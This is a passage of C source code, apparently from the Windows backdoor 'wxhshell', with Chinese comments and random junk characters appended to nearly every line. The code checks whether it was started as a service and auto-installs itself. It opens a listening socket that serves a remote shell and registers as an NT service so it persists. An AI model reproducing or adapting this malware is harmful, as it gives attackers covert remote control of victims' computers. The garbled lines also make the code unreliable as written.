DWORD BasePriority; d+Ds9(gV
ULONG UniqueProcessId; R3Ee%0QK
ULONG InheritedFromUniqueProcessId; Fe5jdV<
} PROCESS_BASIC_INFORMATION; \q,s?`+B
@0D![oA
PROCNTQSIP NtQueryInformationProcess; TW2Z=ks=
05"qi6tncz
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g}m+f]|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VyY.r#@
+YuzpuxjJ
HANDLE hProcess; 8""mp]o9
PROCESS_BASIC_INFORMATION pbi; !!*;4FK"q
guE2THnz3D
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2kVp_=c
if(NULL == hInst ) return 0; A4
5m)wQ
Mc:bU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P:^=m*d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7
v~ro
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~#q;bS
*Q5x1!#z#
if (!NtQueryInformationProcess) return 0; Z}+yI,
6"+8M 3M l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y1WHy*s?
if(!hProcess) return 0; !LiQ 1`V{
-;U3w.-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EX+,:l\^
R^6Zafp
CloseHandle(hProcess); @mNJ=mEV
m:3J!1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z7KXWu+6`m
if(hProcess==NULL) return 0; .jargvAL*
{>h97}P
HMODULE hMod; B4^`Sw
char procName[255]; >(3'Tnu
unsigned long cbNeeded; F"[3c6yF
ABZ06S/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hiN/S|JN8y
lV)G@l[1
CloseHandle(hProcess); NpR6
3nrqo<X
if(strstr(procName,"services")) return 1; // 以服务启动 %Hwbw],kl8
"wINBya'M
return 0; // 注册表启动 q#'VJA:A5&
} p[-{]!
k}U
JVH21k
// 主模块 h0lu!m#\_
int StartWxhshell(LPSTR lpCmdLine) HCazwX
{ nE7JLtbH
SOCKET wsl; SOj`Y|6^:
BOOL val=TRUE; X4'kZ'Sy<
int port=0; OXCQfT@\
struct sockaddr_in door; r0{]5JZt/
yl/a:Q
if(wscfg.ws_autoins) Install(); Ihqs%;V
c
D7FfJ
port=atoi(lpCmdLine); fv2=B)8$
4.'JLArw
if(port<=0) port=wscfg.ws_port; GS4_jvD-
mW +tV1XjG
WSADATA data; .8(%4ejJ(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S(w\Z C
!W~<q{VTs
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sOz sY7z3Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I7zn>^0}
door.sin_family = AF_INET; JiA'BEJN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); v)+@XU2wZ
door.sin_port = htons(port); OpQ8\[X+
eT-9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CKd3w8;
closesocket(wsl); (tKMBxQo8
return 1; `pm>'
} ;RHNRVP
:1MMa6
if(listen(wsl,2) == INVALID_SOCKET) { hDvpOIUL1
closesocket(wsl); Gkmsaf>
return 1; "lrA%~3%[P
} N,|r1u 9X#
Wxhshell(wsl); }dKLMNqPA
WSACleanup(); xqv[?
?
.Q[yD<)Ubs
return 0; F.
T@)7
'Sa!5h
} 1.0J2nZpt
{i;6vRr
// 以NT服务方式启动 7"K^H]6u30
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z6cYC,
{ mp:m`sh*i
DWORD status = 0; L;yEz[#xaT
DWORD specificError = 0xfffffff; uA%Ts*aN
0H+c4IW
serviceStatus.dwServiceType = SERVICE_WIN32; #8UseK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; u]bz42]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LS6ry,D"7
serviceStatus.dwWin32ExitCode = 0; 8t[t{"
serviceStatus.dwServiceSpecificExitCode = 0; d.cCbr:
serviceStatus.dwCheckPoint = 0; C0<YH "
serviceStatus.dwWaitHint = 0; U&Ab#m;
|^iA6)Q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y\z > /q
if (hServiceStatusHandle==0) return; 6#|qg*OS
>qpqQ;
bm
status = GetLastError(); DxfMqH[vs
if (status!=NO_ERROR) ls @5^g
{ Ay%:@j(E
serviceStatus.dwCurrentState = SERVICE_STOPPED; wv^b_DR
serviceStatus.dwCheckPoint = 0; (Oq Hfv
serviceStatus.dwWaitHint = 0; +'%\Pr(
serviceStatus.dwWin32ExitCode = status; afUTAP@
serviceStatus.dwServiceSpecificExitCode = specificError; (Fqa][0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }#
Xi`<{
return; S_5?U2%D
} (yGQa5v
2GUupnQkD
serviceStatus.dwCurrentState = SERVICE_RUNNING; jb3.W
serviceStatus.dwCheckPoint = 0; Spo+@G
serviceStatus.dwWaitHint = 0; L|J~9FM
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9wMEvX70
} a(|xw
MA6P"?
// 处理NT服务事件,比如:启动、停止 9U'[88
VOID WINAPI NTServiceHandler(DWORD fdwControl)
qpTm
{ W_m!@T"@H
switch(fdwControl) MS{{R+&
{ 74]a/'4
case SERVICE_CONTROL_STOP: blp=Hk
serviceStatus.dwWin32ExitCode = 0; J7n5Ps\M
serviceStatus.dwCurrentState = SERVICE_STOPPED; 0!_*S )
serviceStatus.dwCheckPoint = 0; Q!]IG;3Sx|
serviceStatus.dwWaitHint = 0; D 'n7&